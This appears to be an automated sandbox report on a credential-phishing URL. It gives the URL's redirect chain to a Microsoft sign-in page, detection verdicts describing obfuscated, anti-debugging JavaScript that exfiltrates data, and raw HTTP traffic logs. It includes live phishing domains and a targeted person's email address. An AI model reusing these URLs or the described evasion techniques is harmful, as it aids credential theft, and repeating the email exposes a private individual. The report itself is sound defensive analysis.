Edit tour

Windows Analysis Report
http://unikuesolutions.com/ck/bd/%7BRANDOM_NUMBER05%7D/YmVuc29uLmxpbkB2aGFjb3JwLmNvbQ==

Overview

General Information

Sample URL:	http://unikuesolutions.com/ck/bd/%7BRANDOM_NUMBER05%7D/YmVuc29uLmxpbkB2aGFjb3JwLmNvbQ==
Analysis ID:	1588511
Infos:

Detection

Score:	52
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

AI detected suspicious Javascript

HTML body contains low number of good links

HTML page contains hidden javascript code

HTML title does not match URL

Stores files to the Windows start menu directory

Classification

Process Tree

System is w10x64_ra

chrome.exe (PID: 6196 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6688 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2040 --field-trial-handle=1980,i,2470420445824453129,4138290871837381723,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 2652 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "http://unikuesolutions.com/ck/bd/%7BRANDOM_NUMBER05%7D/YmVuc29uLmxpbkB2aGFjb3JwLmNvbQ==" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://bur.tabilicit.ru/favicon.ico	Avira URL Cloud: Label: phishing
Source: https://bur.tabilicit.ru/HgSlh/	Avira URL Cloud: Label: phishing

Phishing

AI detected suspicious Javascript

Source: 1.0.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://bur.tabilicit.ru/HgSlh/#Xbenson.lin@vhacor... This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and redirects to suspicious domains. The use of obfuscated code and the presence of anti-debugging techniques further increase the risk. Overall, this script demonstrates a high likelihood of malicious intent and should be treated with caution.
Source: 1.2.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://bur.tabilicit.ru/HgSlh/#Xbenson.lin@vhacor... This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and redirects to suspicious domains. It collects user data and sends it to an unknown domain, and upon certain conditions, it redirects the user to a Microsoft login page, which could be part of a phishing attempt. The overall behavior of this script is highly suspicious and indicative of malicious intent.
Source: 1.1.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://bur.tabilicit.ru/HgSlh/#Xbenson.lin@vhacor... This script exhibits several high-risk behaviors, including detecting the presence of web automation tools, disabling common browser debugging and developer tools, and redirecting the user to a suspicious domain. The script also includes an interval-based debugger trap that could be used to detect and prevent analysis. Overall, this script demonstrates a high level of malicious intent and should be considered a significant security risk.

Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638721511698531953.ZDlmMjA5MzgtZjM0NS00MGMxLTlhYjktZDEzMTc0ZGVlNGJlOGIzMmM0OGMtMzk2Ni00MTgzLThlYTMtNzExYzllODZiN2Iz&ui_locales=en-US&mkt=en-US&client-request-id=5d265fc5-e70c-4306-80d1-8cae6dd2def9&state=x6ltvqAdgC8UQy-nHjAPFrBE1zs3XgdihMNivZE9ysg5_WEGrUX07h1-j1ukIcf25vvWhFkyfhuSUuD57F6OQfuyW2SLfG83ZxB5x5KoaFbWnM2yG24JLUvbHhrSVf4-tY6sUezXaQatSMCVD_1oAN_vMoHga6BoGiZ4t3tw_3Lh8GFqs3ly570R4vPcyWKn1CmMfJXPuSjDtPViOy8os-JoWKdnu9Kdd6VlEw4jTlO2_zAI86yT0BtFu7TTRItZpWaolOzg7WVBm0Us0RQIyQ&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0	HTTP Parser: Number of links: 0
Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638721511698531953.ZDlmMjA5MzgtZjM0NS00MGMxLTlhYjktZDEzMTc0ZGVlNGJlOGIzMmM0OGMtMzk2Ni00MTgzLThlYTMtNzExYzllODZiN2Iz&ui_locales=en-US&mkt=en-US&client-request-id=5d265fc5-e70c-4306-80d1-8cae6dd2def9&state=x6ltvqAdgC8UQy-nHjAPFrBE1zs3XgdihMNivZE9ysg5_WEGrUX07h1-j1ukIcf25vvWhFkyfhuSUuD57F6OQfuyW2SLfG83ZxB5x5KoaFbWnM2yG24JLUvbHhrSVf4-tY6sUezXaQatSMCVD_1oAN_vMoHga6BoGiZ4t3tw_3Lh8GFqs3ly570R4vPcyWKn1CmMfJXPuSjDtPViOy8os-JoWKdnu9Kdd6VlEw4jTlO2_zAI86yT0BtFu7TTRItZpWaolOzg7WVBm0Us0RQIyQ&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true	HTTP Parser: Number of links: 0

Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638721511698531953.ZDlmMjA5MzgtZjM0NS00MGMxLTlhYjktZDEzMTc0ZGVlNGJlOGIzMmM0OGMtMzk2Ni00MTgzLThlYTMtNzExYzllODZiN2Iz&ui_locales=en-US&mkt=en-US&client-request-id=5d265fc5-e70c-4306-80d1-8cae6dd2def9&state=x6ltvqAdgC8UQy-nHjAPFrBE1zs3XgdihMNivZE9ysg5_WEGrUX07h1-j1ukIcf25vvWhFkyfhuSUuD57F6OQfuyW2SLfG83ZxB5x5KoaFbWnM2yG24JLUvbHhrSVf4-tY6sUezXaQatSMCVD_1oAN_vMoHga6BoGiZ4t3tw_3Lh8GFqs3ly570R4vPcyWKn1CmMfJXPuSjDtPViOy8os-JoWKdnu9Kdd6VlEw4jTlO2_zAI86yT0BtFu7TTRItZpWaolOzg7WVBm0Us0RQIyQ&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0

HTTP Parser: Base64 decoded: d9f20938-f345-40c1-9ab9-d13174dee4be8b32c48c-3966-4183-8ea3-711c9e86b7b3

Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638721511698531953.ZDlmMjA5MzgtZjM0NS00MGMxLTlhYjktZDEzMTc0ZGVlNGJlOGIzMmM0OGMtMzk2Ni00MTgzLThlYTMtNzExYzllODZiN2Iz&ui_locales=en-US&mkt=en-US&client-request-id=5d265fc5-e70c-4306-80d1-8cae6dd2def9&state=x6ltvqAdgC8UQy-nHjAPFrBE1zs3XgdihMNivZE9ysg5_WEGrUX07h1-j1ukIcf25vvWhFkyfhuSUuD57F6OQfuyW2SLfG83ZxB5x5KoaFbWnM2yG24JLUvbHhrSVf4-tY6sUezXaQatSMCVD_1oAN_vMoHga6BoGiZ4t3tw_3Lh8GFqs3ly570R4vPcyWKn1CmMfJXPuSjDtPViOy8os-JoWKdnu9Kdd6VlEw4jTlO2_zAI86yT0BtFu7TTRItZpWaolOzg7WVBm0Us0RQIyQ&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0	HTTP Parser: Title: Redirecting does not match URL
Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638721511698531953.ZDlmMjA5MzgtZjM0NS00MGMxLTlhYjktZDEzMTc0ZGVlNGJlOGIzMmM0OGMtMzk2Ni00MTgzLThlYTMtNzExYzllODZiN2Iz&ui_locales=en-US&mkt=en-US&client-request-id=5d265fc5-e70c-4306-80d1-8cae6dd2def9&state=x6ltvqAdgC8UQy-nHjAPFrBE1zs3XgdihMNivZE9ysg5_WEGrUX07h1-j1ukIcf25vvWhFkyfhuSUuD57F6OQfuyW2SLfG83ZxB5x5KoaFbWnM2yG24JLUvbHhrSVf4-tY6sUezXaQatSMCVD_1oAN_vMoHga6BoGiZ4t3tw_3Lh8GFqs3ly570R4vPcyWKn1CmMfJXPuSjDtPViOy8os-JoWKdnu9Kdd6VlEw4jTlO2_zAI86yT0BtFu7TTRItZpWaolOzg7WVBm0Us0RQIyQ&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true	HTTP Parser: Title: Sign in to your account does not match URL

HTTP Parser: <input type="password" .../> found

Source: https://bur.tabilicit.ru/HgSlh/#Xbenson.lin@vhacorp.com	HTTP Parser: No favicon
Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638721511698531953.ZDlmMjA5MzgtZjM0NS00MGMxLTlhYjktZDEzMTc0ZGVlNGJlOGIzMmM0OGMtMzk2Ni00MTgzLThlYTMtNzExYzllODZiN2Iz&ui_locales=en-US&mkt=en-US&client-request-id=5d265fc5-e70c-4306-80d1-8cae6dd2def9&state=x6ltvqAdgC8UQy-nHjAPFrBE1zs3XgdihMNivZE9ysg5_WEGrUX07h1-j1ukIcf25vvWhFkyfhuSUuD57F6OQfuyW2SLfG83ZxB5x5KoaFbWnM2yG24JLUvbHhrSVf4-tY6sUezXaQatSMCVD_1oAN_vMoHga6BoGiZ4t3tw_3Lh8GFqs3ly570R4vPcyWKn1CmMfJXPuSjDtPViOy8os-JoWKdnu9Kdd6VlEw4jTlO2_zAI86yT0BtFu7TTRItZpWaolOzg7WVBm0Us0RQIyQ&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0	HTTP Parser: No favicon
Source: https://signup.live.com/signup?sru=https%3a%2f%2flogin.live.com%2foauth20_authorize.srf%3flc%3d1033%26client_id%3d4765445b-32c6-49b0-83e6-1d93765276ca%26mkt%3dEN-US%26opid%3dAA3054B1E47A799E%26opidt%3d1736554417%26uaid%3d5d265fc5e70c430680d18cae6dd2def9%26contextid%3d60EE7AB761268D36%26opignore%3d1&mkt=EN-US&uiflavor=web&lw=1&fl=easi2&client_id=4765445b-32c6-49b0-83e6-1d93765276ca&uaid=5d265fc5e70c430680d18cae6dd2def9&suc=4765445b-32c6-49b0-83e6-1d93765276ca&lic=1	HTTP Parser: No favicon

Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638721511698531953.ZDlmMjA5MzgtZjM0NS00MGMxLTlhYjktZDEzMTc0ZGVlNGJlOGIzMmM0OGMtMzk2Ni00MTgzLThlYTMtNzExYzllODZiN2Iz&ui_locales=en-US&mkt=en-US&client-request-id=5d265fc5-e70c-4306-80d1-8cae6dd2def9&state=x6ltvqAdgC8UQy-nHjAPFrBE1zs3XgdihMNivZE9ysg5_WEGrUX07h1-j1ukIcf25vvWhFkyfhuSUuD57F6OQfuyW2SLfG83ZxB5x5KoaFbWnM2yG24JLUvbHhrSVf4-tY6sUezXaQatSMCVD_1oAN_vMoHga6BoGiZ4t3tw_3Lh8GFqs3ly570R4vPcyWKn1CmMfJXPuSjDtPViOy8os-JoWKdnu9Kdd6VlEw4jTlO2_zAI86yT0BtFu7TTRItZpWaolOzg7WVBm0Us0RQIyQ&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0	HTTP Parser: No <meta name="author".. found
Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638721511698531953.ZDlmMjA5MzgtZjM0NS00MGMxLTlhYjktZDEzMTc0ZGVlNGJlOGIzMmM0OGMtMzk2Ni00MTgzLThlYTMtNzExYzllODZiN2Iz&ui_locales=en-US&mkt=en-US&client-request-id=5d265fc5-e70c-4306-80d1-8cae6dd2def9&state=x6ltvqAdgC8UQy-nHjAPFrBE1zs3XgdihMNivZE9ysg5_WEGrUX07h1-j1ukIcf25vvWhFkyfhuSUuD57F6OQfuyW2SLfG83ZxB5x5KoaFbWnM2yG24JLUvbHhrSVf4-tY6sUezXaQatSMCVD_1oAN_vMoHga6BoGiZ4t3tw_3Lh8GFqs3ly570R4vPcyWKn1CmMfJXPuSjDtPViOy8os-JoWKdnu9Kdd6VlEw4jTlO2_zAI86yT0BtFu7TTRItZpWaolOzg7WVBm0Us0RQIyQ&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true	HTTP Parser: No <meta name="author".. found
Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638721511698531953.ZDlmMjA5MzgtZjM0NS00MGMxLTlhYjktZDEzMTc0ZGVlNGJlOGIzMmM0OGMtMzk2Ni00MTgzLThlYTMtNzExYzllODZiN2Iz&ui_locales=en-US&mkt=en-US&client-request-id=5d265fc5-e70c-4306-80d1-8cae6dd2def9&state=x6ltvqAdgC8UQy-nHjAPFrBE1zs3XgdihMNivZE9ysg5_WEGrUX07h1-j1ukIcf25vvWhFkyfhuSUuD57F6OQfuyW2SLfG83ZxB5x5KoaFbWnM2yG24JLUvbHhrSVf4-tY6sUezXaQatSMCVD_1oAN_vMoHga6BoGiZ4t3tw_3Lh8GFqs3ly570R4vPcyWKn1CmMfJXPuSjDtPViOy8os-JoWKdnu9Kdd6VlEw4jTlO2_zAI86yT0BtFu7TTRItZpWaolOzg7WVBm0Us0RQIyQ&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true	HTTP Parser: No <meta name="author".. found
Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638721511698531953.ZDlmMjA5MzgtZjM0NS00MGMxLTlhYjktZDEzMTc0ZGVlNGJlOGIzMmM0OGMtMzk2Ni00MTgzLThlYTMtNzExYzllODZiN2Iz&ui_locales=en-US&mkt=en-US&client-request-id=5d265fc5-e70c-4306-80d1-8cae6dd2def9&state=x6ltvqAdgC8UQy-nHjAPFrBE1zs3XgdihMNivZE9ysg5_WEGrUX07h1-j1ukIcf25vvWhFkyfhuSUuD57F6OQfuyW2SLfG83ZxB5x5KoaFbWnM2yG24JLUvbHhrSVf4-tY6sUezXaQatSMCVD_1oAN_vMoHga6BoGiZ4t3tw_3Lh8GFqs3ly570R4vPcyWKn1CmMfJXPuSjDtPViOy8os-JoWKdnu9Kdd6VlEw4jTlO2_zAI86yT0BtFu7TTRItZpWaolOzg7WVBm0Us0RQIyQ&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true	HTTP Parser: No <meta name="author".. found

Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638721511698531953.ZDlmMjA5MzgtZjM0NS00MGMxLTlhYjktZDEzMTc0ZGVlNGJlOGIzMmM0OGMtMzk2Ni00MTgzLThlYTMtNzExYzllODZiN2Iz&ui_locales=en-US&mkt=en-US&client-request-id=5d265fc5-e70c-4306-80d1-8cae6dd2def9&state=x6ltvqAdgC8UQy-nHjAPFrBE1zs3XgdihMNivZE9ysg5_WEGrUX07h1-j1ukIcf25vvWhFkyfhuSUuD57F6OQfuyW2SLfG83ZxB5x5KoaFbWnM2yG24JLUvbHhrSVf4-tY6sUezXaQatSMCVD_1oAN_vMoHga6BoGiZ4t3tw_3Lh8GFqs3ly570R4vPcyWKn1CmMfJXPuSjDtPViOy8os-JoWKdnu9Kdd6VlEw4jTlO2_zAI86yT0BtFu7TTRItZpWaolOzg7WVBm0Us0RQIyQ&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0	HTTP Parser: No <meta name="copyright".. found
Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638721511698531953.ZDlmMjA5MzgtZjM0NS00MGMxLTlhYjktZDEzMTc0ZGVlNGJlOGIzMmM0OGMtMzk2Ni00MTgzLThlYTMtNzExYzllODZiN2Iz&ui_locales=en-US&mkt=en-US&client-request-id=5d265fc5-e70c-4306-80d1-8cae6dd2def9&state=x6ltvqAdgC8UQy-nHjAPFrBE1zs3XgdihMNivZE9ysg5_WEGrUX07h1-j1ukIcf25vvWhFkyfhuSUuD57F6OQfuyW2SLfG83ZxB5x5KoaFbWnM2yG24JLUvbHhrSVf4-tY6sUezXaQatSMCVD_1oAN_vMoHga6BoGiZ4t3tw_3Lh8GFqs3ly570R4vPcyWKn1CmMfJXPuSjDtPViOy8os-JoWKdnu9Kdd6VlEw4jTlO2_zAI86yT0BtFu7TTRItZpWaolOzg7WVBm0Us0RQIyQ&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true	HTTP Parser: No <meta name="copyright".. found
Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638721511698531953.ZDlmMjA5MzgtZjM0NS00MGMxLTlhYjktZDEzMTc0ZGVlNGJlOGIzMmM0OGMtMzk2Ni00MTgzLThlYTMtNzExYzllODZiN2Iz&ui_locales=en-US&mkt=en-US&client-request-id=5d265fc5-e70c-4306-80d1-8cae6dd2def9&state=x6ltvqAdgC8UQy-nHjAPFrBE1zs3XgdihMNivZE9ysg5_WEGrUX07h1-j1ukIcf25vvWhFkyfhuSUuD57F6OQfuyW2SLfG83ZxB5x5KoaFbWnM2yG24JLUvbHhrSVf4-tY6sUezXaQatSMCVD_1oAN_vMoHga6BoGiZ4t3tw_3Lh8GFqs3ly570R4vPcyWKn1CmMfJXPuSjDtPViOy8os-JoWKdnu9Kdd6VlEw4jTlO2_zAI86yT0BtFu7TTRItZpWaolOzg7WVBm0Us0RQIyQ&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true	HTTP Parser: No <meta name="copyright".. found
Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638721511698531953.ZDlmMjA5MzgtZjM0NS00MGMxLTlhYjktZDEzMTc0ZGVlNGJlOGIzMmM0OGMtMzk2Ni00MTgzLThlYTMtNzExYzllODZiN2Iz&ui_locales=en-US&mkt=en-US&client-request-id=5d265fc5-e70c-4306-80d1-8cae6dd2def9&state=x6ltvqAdgC8UQy-nHjAPFrBE1zs3XgdihMNivZE9ysg5_WEGrUX07h1-j1ukIcf25vvWhFkyfhuSUuD57F6OQfuyW2SLfG83ZxB5x5KoaFbWnM2yG24JLUvbHhrSVf4-tY6sUezXaQatSMCVD_1oAN_vMoHga6BoGiZ4t3tw_3Lh8GFqs3ly570R4vPcyWKn1CmMfJXPuSjDtPViOy8os-JoWKdnu9Kdd6VlEw4jTlO2_zAI86yT0BtFu7TTRItZpWaolOzg7WVBm0Us0RQIyQ&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true	HTTP Parser: No <meta name="copyright".. found

Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /HgSlh/ HTTP/1.1Host: bur.tabilicit.ruConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: http://unikuesolutions.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.6.0.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://bur.tabilicit.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/api.js?render=explicit HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://bur.tabilicit.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://bur.tabilicit.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/b/e0c90b6a3ed1/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://bur.tabilicit.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
